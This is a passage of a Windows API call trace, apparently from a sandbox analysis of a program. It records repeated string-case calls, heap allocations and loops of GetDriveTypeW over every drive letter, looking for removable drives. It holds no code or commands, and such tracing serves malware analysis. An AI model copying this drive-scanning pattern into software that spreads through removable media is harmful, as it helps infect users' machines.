lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.637] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.637] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.637] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.637] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.637] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.637] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.637] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.637] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.638] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.638] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.638] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.638] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.638] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.638] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.638] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.638] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.638] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.638] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.638] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.638] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.638] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.639] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.639] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.639] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.639] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.639] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.639] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.640] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.640] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.640] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.640] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.640] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.640] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.640] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.641] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0171.641] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0171.641] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe558 | out: hHeap=0xe80000) returned 1 [0171.641] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0171.641] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.641] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec4d0 [0171.642] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec4d0 | out: hHeap=0xe80000) returned 1 [0171.642] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2f40 | out: hHeap=0xe80000) returned 1 [0171.642] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0171.642] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.642] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0171.642] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.642] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0171.642] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0171.642] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec14b0 | out: hHeap=0xe80000) returned 1 [0171.643] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0171.643] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0171.643] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0171.643] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2b8 [0171.643] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2b50 [0171.643] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.643] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2b50 | out: hHeap=0xe80000) returned 1 [0171.644] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0171.644] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076868 [0171.644] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed3060 [0171.644] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0171.644] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.644] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0171.644] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0171.644] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0171.644] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0171.644] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0171.644] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0171.644] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0171.644] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2b8 [0171.644] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1500 [0171.644] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.644] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.644] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.645] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.645] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.645] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.645] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.645] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.645] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.645] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.645] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.646] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.646] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.646] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.646] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.646] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.646] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.646] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.647] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.647] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.647] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.647] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.647] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.647] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.647] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.648] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.648] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.649] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1500 | out: hHeap=0xe80000) returned 1 [0171.649] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0171.649] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0171.649] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.649] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.649] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.650] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.650] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0171.650] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0171.650] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0171.650] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0171.650] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0171.650] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.650] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0171.650] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0171.650] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0171.650] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe698 [0171.650] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0171.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.650] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0171.650] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0171.650] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe698 | out: hHeap=0xe80000) returned 1 [0171.650] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0171.650] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0171.650] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0171.650] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.651] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0171.651] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.652] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed3060 | out: hHeap=0xe80000) returned 1 [0171.652] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0171.652] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.652] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0171.652] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.652] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0171.652] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0171.653] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.653] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.653] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.653] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0171.653] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0171.653] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.653] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0171.653] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0171.653] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.654] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0171.654] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0171.654] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076a18 [0171.654] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2b50 [0171.654] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.654] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0171.654] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0171.654] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0171.654] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0171.654] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0171.654] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0171.654] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.654] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0171.654] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0171.654] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0171.654] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0171.655] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.655] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.655] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.655] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.655] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.655] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.655] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.656] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.656] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.656] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.656] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.656] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.656] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.657] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.657] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.657] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.657] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.657] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.657] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.657] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.658] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.658] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.658] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.658] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.658] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.658] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.659] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.659] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0171.659] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0171.659] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0171.659] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0171.660] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0171.660] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.660] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.660] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0171.660] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0171.660] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0171.660] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0171.660] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.660] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.660] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0171.660] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.660] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0171.660] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe658 [0171.660] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0171.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.660] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.660] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0171.660] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe658 | out: hHeap=0xe80000) returned 1 [0171.661] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.661] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0171.661] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec850 [0171.661] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.661] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec850 | out: hHeap=0xe80000) returned 1 [0171.661] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.662] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2b50 | out: hHeap=0xe80000) returned 1 [0171.662] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0171.662] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0171.662] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.662] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0171.662] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0171.662] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0171.662] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.662] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0171.663] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.663] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0171.663] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0171.663] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.663] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf408 [0171.663] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2eb0 [0171.663] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.663] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2eb0 | out: hHeap=0xe80000) returned 1 [0171.663] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf408 | out: hHeap=0xe80000) returned 1 [0171.663] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076a30 [0171.663] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed3060 [0171.663] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.663] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3b8 [0171.663] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.663] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.663] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0171.663] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0171.664] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) 